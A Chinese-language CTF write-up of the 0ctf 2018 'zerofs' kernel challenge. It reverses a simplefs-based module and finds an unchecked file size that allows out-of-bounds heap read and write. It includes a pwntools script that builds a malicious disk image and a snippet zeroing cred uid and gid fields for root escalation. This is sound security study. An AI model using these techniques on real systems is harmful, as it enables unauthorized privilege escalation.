linux-kernel-pwn-0ctf2018-zerofs

2021-02-14 平凡路上
虛擬文件系統

在對題目進行分析之前,需要先對linux虛擬文件系統有一定的掌握。

「一切皆是文件」是 Unix/Linux 的基本哲學之一。不僅普通的文件,目錄、字符設備、塊設備、 套接字等在 Unix/Linux 中都是以文件被對待;它們雖然類型不同,但是對其提供的卻是同一套操作接口。

虛擬文件系統正是實現上述 Linux 特性的關鍵所在。虛擬文件系統(Virtual File System, 簡稱 VFS), 是 Linux 內核中的一個軟體層,用於給用戶空間的程序提供文件系統接口;同時,它也提供了內核中的一個抽象功能,允許不同的文件系統共存。系統中所有的文件系統不但依賴 VFS 共存,而且也依靠 VFS 協同工作。

為了能夠支持各種實際文件系統,VFS 定義了所有文件系統都支持的基本的、概念上的接口和數據結構;同時實際文件系統也提供 VFS 所期望的抽象接口和數據結構,將自身的諸如文件、目錄等概念在形式上與VFS的定義保持一致。換句話說,一個實際的文件系統想要被 Linux 支持,就必須提供一個符合VFS標準 的接口,才能與 VFS 協同工作。實際文件系統在統一的接口和數據結構下隱藏了具體的實現細節,所以在VFS 層和內核的其他部分看來,所有文件系統都是相同的。

Linux虛擬文件系統四大對象:

•超級塊(super block)•索引節點(inode)•目錄項(dentry)•文件對象(file)

超級塊在每個文件系統的根上,描述和維護文件系統的狀態。文件系統中管理的每個對象(文件或目錄)在 Linux 中表示為一個 inode。inode 包含管理文件系統中的對象所需的所有元數據(包括可以在對象上執行的操作)。dentry用來實現名稱和 inode 之間的映射,dentry 還維護目錄和文件之間的關係,從而支持在文件系統中移動。文件對象描述的是進程已經打開的文件。因為一個文件可以被多個進程打開,所以一個文件可以存在多個文件對象。但是由於文件是唯一的,那麼inode就是唯一的,目錄項也是定的。

有了這些基本概念對於解這一題好像也不太夠用,還需要對虛擬文件系統的具體實現以及mount原理有一定的掌握,可以去看參考連結中的內容,不再贅述。

描述

文件[1]下載下來後,目錄如下:

$ ll-rw-r--r-- 1 raycp raycp 6.9M Mar 28  2018 bzImage-rw-r--r-- 1 raycp raycp 3.1M Mar 29  2018 rootfs.cpio-rwxr-xr-x 1 raycp raycp  240 Mar 28  2018 run.sh-rw-r--r-- 1 raycp raycp 320K Mar 28  2018 zerofs.ko

run.sh內容如下,開啟了smep、smap以及kaslr。

$ cat run.sh#!/bin/sh
stty intr ^]
qemu-system-x86_64 -enable-kvm -cpu kvm64,+smep,+smap -m 64M -kernel ./bzImage -initrd ./rootfs.cpio -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" -monitor /dev/null -nographic 2>/dev/null

sudo ./extract-cpio.sh rootfs.cpio將文件系統提取出來,init內容如下:

$ cat cpio/init#!/bin/sh
mknod -m 0666 /dev/null c 1 3mknod -m 0660 /dev/ttyS0 c 4 64
mount -t proc proc /procmount -t sysfs sysfs /sys
cat /root/signature
echo 2 > /proc/sys/kernel/kptr_restrictecho 1 > /proc/sys/kernel/dmesg_restrict
insmod /zerofs.ko
setsid cttyhack setuidgid 1000 sh
umount /procumount /sys
poweroff -f

注意這裡需要用sudo來提取是要保證./bin/sh的所有者是root,不然重新打包以後會報沒有權限執行./mount。

可以將echo 2 > /proc/sys/kernel/kptr_restrict以及echo 1 > /proc/sys/kernel/dmesg_restrict都修改成echo 0 > xxx以方便調試,通過insmod zerofs.ko知道要分析的目標為zerofs.ko。

分析

zerofs.ko是一個簡單的文件系統的實現,其是基於simplefs[2]文件系統的修改。

SimpleFs文件系統初步一(編譯並掛載)[3]系列文章對simplefs源碼進行了較為詳細的分析。

結合simplefs代碼以及對zerofs.ko的逆向,分析得到了zerofs文件系統的super_block結構體如下:

00000000 zerofs_super_block struc ; (sizeof=0x1000, align=0x8, copyof_605)00000000 magic           dq ?00000008 block_size      dq ?00000010 inode_count     dq ?00000018 free_blocks     dq ?00000020 padding         db 4064 dup(?)00001000 zerofs_super_block ends

通過對zerofs_fill_super函數的分析,可以知道它的magic為0x4F52455A,block_size為0x1000,且inode_count不能大於0x40,free_blocks的每一位表示的是其所對應的datablock是否為空。

00000000 zerofs_inode    struc ; (sizeof=0x20, align=0x8, mappedto_604)00000000 ino             dq ?00000008 dno             dq ?00000010 mode            dq ?00000018 dir_children_count $05F780B076FBCED92739702777A86942 ?00000020 zerofs_inode    ends0000002000000000 ; 0000000000000000 $05F780B076FBCED92739702777A86942 union ; (sizeof=0x8, align=0x8, copyof_603)00000000                                         ; XREF: zerofs_inode/r00000000 file_size       dq ?00000000 children_count  dq ?00000000 $05F780B076FBCED92739702777A86942 ends

其inode數據結構如上所示,其中ino表示的是inode編號,dno表示的是此inode的數據所在的datablock編號,mode則表示這個inode是文件還是目錄所對應的inode;最後一個欄位union在mode為文件的時候則對應的是文件大小filesize,為目錄的時候則表示是目錄中文件數據的個數children_count。

結構體zerofs_dir_record則表示的是dentry,filename表示的文件名,ino表示的是文件數據所在的inode的編號。

00000000 zerofs_dir_record struc ; (sizeof=0x108, align=0x8, copyof_602)00000000 filename        db 255 dup(?)000000FF                 db ? ; undefined00000100 ino             dq ?00000108 zerofs_dir_record ends

大致分析下來以後可以將zerofs文件系統大致總結為:

•文件在磁碟中的存在方式是以datablock來劃分的,每個datablock大小為0x1000,inode的數量最大為0x40。•第一個datablock為super_block,其包含了文件系統的基本信息,如datablock的大小以及inode數量。•第二個datablock為存儲inode結構體數組的datablock,且根目錄的inode編號為1,其dno指向了根目錄下的dentry數組所在的datablock。•再通過dentry結構體中的ino連接文件數據或下級目錄內容。依次類推組織文件系統。

其漏洞存在的點是對於dir_children_count中所表示的filesize沒有與文件實際所佔用的blocksize進行檢查。在讀取以及寫入數據時並沒有檢查filesize有沒有大於當前的datablock,導致可以越界讀寫。

zerofs_read函數中可以看到它調用_bread_gfp函數,只讀取了一個bockdata的數據,而在調用copy_to_user時卻只判斷了filesize,而filesize是可以偽造的,若很大,如0xffffffffffffffff,就可以越界讀。

ssize_t __fastcall zerofs_read(file *filp, char *buf, size_t len, loff_t *ppos){  unsigned __int64 len_1; // rdx MAPDST  uint64_t *ppos_1; // rcx MAPDST  custom_inode *custom_inode; // r8  zerofs_inode *inode; // r14  ssize_t result; // rax  struct buffer_head *bh_1; // rax MAPDST
_fentry__(filp, buf, len); custom_inode = (custom_inode *)filp->f_tfile_llink.next[1].prev; inode = custom_inode->i_private; if ( *ppos_1 >= inode->dir_children_count.file_size ) return 0LL; bh_1 = (struct buffer_head *)_bread_gfp( custom_inode->i_sb->s_bdev, inode->dno, *(_QWORD *)&custom_inode->i_sb->s_blocksize, 8LL); if ( !bh_1 ) return 0LL; if ( inode->dir_children_count.file_size <= len_1 ) len_1 = inode->dir_children_count.file_size; if ( copy_to_user(buf, &bh_1->b_data[*ppos_1], len_1) ) { _brelse(bh_1); result = 0xFFFFFFFFFFFFFFF2LL; } else { _brelse(bh_1); *ppos_1 += len_1; result = len_1; } return result;}

同理也可以越界寫。

漏洞在於偽造文件的filesize來實現內核中堆的越界讀寫,結合前面對於zerofs相關結構題的分析,可以構建一個根目錄下存在單個文件,且文件大小為0xffffffffffffffff的磁碟腳本如下:

from pwn import *
## super block ## magic: 0x4F52455A; blocksize: 0x1000; inode count: 0x3; block0 = p64(0x4F52455A) + p64(0x1000) + p64(3) + p64(0xffffffff ^ 0x7)block0 = block0.ljust(0x1000, '\x00')
## there are two inode in second datablock, 1st inode is root inode, which data is stored in 2 nd datablock. 2nd inode's data is stored in 3rd datablock and its filesize is 0xffffffffffffffffblock1 = ''inode1 = p64(1) + p64(2) + p64(0x4000) + p64(0x1)inode2 = p64(2) + p64(3) + p64(0x8000) + p64(0xffffffffffffffff)block1 += inode1 + inode2block1 = block1.ljust(0x1000, '\x00')
## the 2nd blockdata is stored the dentry, there is only one file named 666 and its data inode is 2nd inode.block2 = ''block2 += '666'.ljust(256, '\x00')block2 += p64(2)block2 = block2.ljust(0x1000, '\x00')
img = block0 + block1 + block2 + '\x30' * 0x1000 * 1
with open('./cpio/tmp/zerofs.img', 'wb') as f: f.write(img)

利用

經過上面的分析,得到了一個堆越界讀寫的漏洞,所以就變成了越界讀寫如何實現提權的問題。

具體的做法與klist[4]比較類似,先通過創建很多個線程實現在堆中填充struct cred結構體,然後通過越界讀去爆破該結構體(判斷欄位是否是uid的值(1000)),找到後使用越界寫將該欄位的值改為0,並利用越界寫寫回到內核中,從而實現提權。

這題利用最後有個坑點就是cred結構體的判斷,以往的題目結構體的判斷都是通過連續幾個欄位都是1000來實現的,因為結構體的定義如下:

struct cred {    atomic_t    usage;#ifdef CONFIG_DEBUG_CREDENTIALS    atomic_t    subscribers;    /* number of processes subscribed */    void        *put_addr;    unsigned    magic;#define CRED_MAGIC    0x43736564#define CRED_MAGIC_DEAD    0x44656144#endif    kuid_t        uid;        /* real UID of the task */    kgid_t        gid;        /* real GID of the task */    kuid_t        suid;        /* saved UID of the task */    kgid_t        sgid;        /* saved GID of the task */    kuid_t        euid;        /* effective UID of the task */    kgid_t        egid;        /* effective GID of the task */    kuid_t        fsuid;        /* UID for VFS ops */    kgid_t        fsgid;        /* GID for VFS ops */

從uid到egid都是1000,通過連續六個欄位都是1000來判斷,基本上是準確的。

但是這題的exp卻不是這樣的,根據exp[5],其相應的六個字欄位變成了如下的六個偏移,這就看不太懂,問了tarafans師傅以後,師傅解釋說因為在編譯內核的時候開啟了RANDOM_STRUCT,豁然開朗,感謝師傅。

*(unsigned int *)(cred_buf + 0x8) = 0x0;  // uid*(unsigned int *)(cred_buf + 0x6c) = 0x0;  // gid*(unsigned int *)(cred_buf + 0x38) = 0x0;  // suid*(unsigned int *)(cred_buf + 0x20) = 0x0;  // sgid*(unsigned int *)(cred_buf + 0xa4) = 0x0;  // euid*(unsigned int *)(cred_buf + 0x68) = 0x0;  // egid

然後就考慮,具體應該怎麼去判斷cred結構體,在源碼commit_creds中我找到了一段代碼,通過它的偏移我覺得可以用來確定,可以在ida裡面找到commit_creds函數然後去推斷。

/* send notifications */    if (!uid_eq(new->uid,   old->uid)  ||        !uid_eq(new->euid,  old->euid) ||        !uid_eq(new->suid,  old->suid) ||        !uid_eq(new->fsuid, old->fsuid))        proc_id_connector(task, PROC_EVENT_UID);
if (!gid_eq(new->gid, old->gid) || !gid_eq(new->egid, old->egid) || !gid_eq(new->sgid, old->sgid) || !gid_eq(new->fsgid, old->fsgid)) proc_id_connector(task, PROC_EVENT_GID);

struct_random

找到一些偏移,如上圖所示,應該就差不多吧。

小結

這題感覺難點在於對於虛擬文件系統的理解以及逆向上,程序逆向清楚以後做起來就不是那麼難了,RANDOM_STRUCT也是第一次見,有意思。

相關文件以及腳本連結[6]

參考連結

1.linux根文件系統的掛載過程詳解[7]2.Linux mount 命令[8]3.Linux 文件系統剖析[9]4.mount過程分析之一(基於3.16.3內核)[10]5.Linux 深入理解inode/block/superblock[11]6.Linux 文件系統(一)---虛擬文件系統VFS----超級塊、inode、dentry、file[12]7.SimpleFs文件系統初步一(編譯並掛載)[13]8.Linux 的虛擬文件系統(強烈推薦)[14]9.arafans/zerofs.c[15]10.0CTF2018 zerofs Writeup[16]11.simplefs-source code[17]

References

[1] 文件: https://github.com/ray-cp/linux_kernel_pwn/blob/master/0ctf2018-zerofs/zerofs.tar.zip
[2] simplefs: https://github.com/psankar/simplefs
[3] SimpleFs文件系統初步一(編譯並掛載): https://blog.csdn.net/zhuyong006/article/details/83184501
[4] klist: 
[5] exp: https://gist.github.com/tarafans/42e038686cb2f7bc41ebc77e5efad5f7
[6] 連結: https://github.com/ray-cp/linux_kernel_pwn/tree/master/0ctf2018-zerofs
[7] linux根文件系統的掛載過程詳解: https://www.jb51.net/LINUXjishu/540693.html
[8] Linux mount 命令: https://www.cnblogs.com/sparkdev/p/9015312.html
[9] Linux 文件系統剖析: https://www.ibm.com/developerworks/cn/linux/l-linux-filesystem/
[10] mount過程分析之一(基於3.16.3內核): https://blog.csdn.net/zr_lang/article/details/39963253
[11] Linux 深入理解inode/block/superblock: https://blog.csdn.net/Ohmyberry/article/details/80427492
[12] Linux 文件系統(一)---虛擬文件系統VFS----超級塊、inode、dentry、file: https://www.cnblogs.com/linux-xin/p/8126999.html
[13] SimpleFs文件系統初步一(編譯並掛載): https://blog.csdn.net/zhuyong006/article/details/83184501
[14] Linux 的虛擬文件系統(強烈推薦): https://www.cnblogs.com/feng9exe/p/8383950.html
[15] arafans/zerofs.c: https://gist.github.com/tarafans/42e038686cb2f7bc41ebc77e5efad5f7
[16] 0CTF2018 zerofs Writeup: http://blog.eadom.net/writeups/0ctf-2018-zerofs-writeup/
[17] simplefs-source code: https://github.com/psankar/simplefs

相關焦點

  • qemu-pwn-基礎知識
    內核ctf,第二是qemu逃逸ctf以及cve。公眾號預期是一周兩更,所以接下來也會直接以專題的形式更新,周三更新qemu逃逸pwn相關專題,周日更新linux內核pwn相關專題。前言最近開始研究qemu,想看看qemu逃逸相關的知識,看了一些資料,學習pwn qemu首先要對qemu的一些基礎知識有一定的掌握。qemu 是純軟體實現的虛擬化模擬器,幾乎可以模擬任何硬體設備。
  • linux kernel booting | 你知道kernel version的實現原理和細節嗎 - 第1篇
    Booting Linux on physical CPU 0x0Linux version 5.4.124+ (funny@funny) (gcc version 6.5.0 (Linaro GCC 6.5-2018.12)) #30 SMP Sat Sep 11 11:10:28 CST 2021.
  • 如何在Ubuntu中安裝Linux Kernel 5.8
    linux-headers-5.8.0-xxxxxx_all.deblinux-headers-5.8.0-xxx-generic(/lowlatency)_xxx_amd64.deblinux-modules-5.8.0-xxx-generic(/lowlatency)_xxx_amd64.deblinux-image-xxx-5.8.0-xxx-generic
  • 在 Linux Mint 安裝 Linux Kernel 4.12(穩定版)
    系統引導完成之後,通過以下命令刪除新的內核:然後,使用 UKUU[3] 程序,或者命令:sudo apt purge linux-image-4.12-*最後,更新 GRUB 或者 BURG[4]:sudo update-grub在啟動 GRUB 的時候,選擇以前的 Linux 版本即可回到以前版本的內核
  • 【Linux內核漏洞利用】強網杯2018-solid_core-任意讀寫
    read_args;struct write_channel_args write_args;size_t addr = 0xffffffff80000000;size_t kernel_base = 0;size_t selinux_disable_addr= 0x2C7BA0; //後面講到如何獲取這些函數和全局變量的固定偏移地址size_t prctl_hook = 0x124FD00
  • 在Ubuntu上安裝Linux Kernel 4.16
    因此,如果您在64位Ubuntu PC上運行,您需要從這裡下載相應體系結構的generic或low-latency kernel(包括headers)(例如,下載linux-image-4.16.0-041600-generic_4.16.0-041600.201804012230_amd64.deb和linux -headers-4.16.0-041600_4.16.0-041600.201804012230
  • 技術分享 | PWN基礎入門初探(一)
    這是因為在程序啟動 canary 保護之後,如果發現 canary 被修改的話,程序就會執行 __stack_chk_fail 函數來列印 argv[0] 指針所指向的字符串,正常情況下,這個指針指向了程序名。
  • Linux啟動流程 | kernel執行第一個init應用程式的實現原理
    概述Linux系統啟動過程中通過init_task創建0號idle進程。然後通過kernel_thread創建1號init進程。創建該進程時通過系統調用,在內核空間執行用戶空間的/sbin/init程序,通過該程序產生出shell,並依賴init衍生出其他進程。
  • Linux kernel內存管理的基本概念
    前言內存(memory)在Linux系統中是一種牽涉面極廣的資源,上至應用程式、下至kernel和driver,無不為之魂牽夢繞。加上它天然的稀缺性,導致內存管理(Memory Management,簡稱MM)是linux kernel中非常重要又非常複雜的一個子系統。重要性就不多說了,Kernel自有分寸。
  • Linux驅動05 | 內核編譯
    二、電腦的開發環境虛擬機:VMWare12.0以上作業系統:Ubuntu 16.04晶片源碼包:6818_kernel_wen.tar.gz,包含交叉編譯工具、kernel源碼、鏡像製作工具。三、源碼編譯過程對於源碼包的編譯,切換到root用戶進行操作。
  • 使用 GDB + Qemu 調試 Linux 內核
    源碼從國內清華的源下載:http://ftp.sjtu.edu.cn/sites/ftp.kernel.org/pub/linux/kernel/, 此處選擇 linux-4.19.172.tar.gz 版本。
  • Linux提權
    :~$ sh exploit_v3.sh root:~# id uid=0(root) gid=0(root) groups=0(root)3.etc/passwd哈希linux的用戶密碼哈希存儲在/etc/shadow文件,普通用戶能夠查看到的則是/etc/passwd這個文件,在/etc/passwd中,比如:root:x:0:0:root:/root
  • Linux中的Printk與dmesg功能
    要將linux內核的帶級別控制的printk內容列印出來,在命令行輸入 dmesg -n 8 就將所有級別的信息都列印出來。Linux命令:dmesg  功能說明:顯示開機信息。  語 法:dmesg [-cn][-s <緩衝區大小>]  補充說明:kernel會將開機信息存儲在ring buffer中。
  • WinPwn-windows自動化域滲透測試工具
    如果您發現自己被困在無法訪問Internet的Windows系統上-完全沒有問題,只需使用即可Offline_Winpwn.ps1,其中包括了最重要的腳本和可執行文件。收集瀏覽器憑證和歷史記錄在註冊表和文件系統中搜索密碼查找敏感文件(配置文件,RDP文件,Keepass資料庫)在本地系統上搜索.NET Binaries可選:Get-Computerdetails(Powersploit)和PSReconDomainreconmodules ->Privescmoduleskernelexploits
  • Linux下0號進程的前世(init_task進程)今生(idle進程)
    * idle進程由系統自動創建, 運行在內核態idle進程其pid=0,其前身是系統創建的第一個進程,也是唯一一個沒有通過fork或者kernel_thread產生的進程。調用schedule()函數切換當前進程,在調用該函數之前,Linux系統中只有兩個進程,即0號進程init_task和1號進程kernel_init,其中kernel_init進程也是剛剛被創建的。調用該函數後,1號進程kernel_init將會運行!調用cpu_idle(),0號線程進入idle函數的循環,在該循環中會周期性地檢查。
  • 手把手教你分析 Linux 啟動流程
    linux4.14/init/main.c,start_kernel 函數。linux4.14/arch/arm/kernel/setup.clinux4.14/kernel/sched/core.clinux4.14/arch/arm/kernel/irq.c
  • 最強開源虛擬機發布,全面支持Linux Kernel 5.10 LTS
    來自: Linux迷 連結:https://www.linuxmi.com/virtualbox-6-1-18-linux-kernel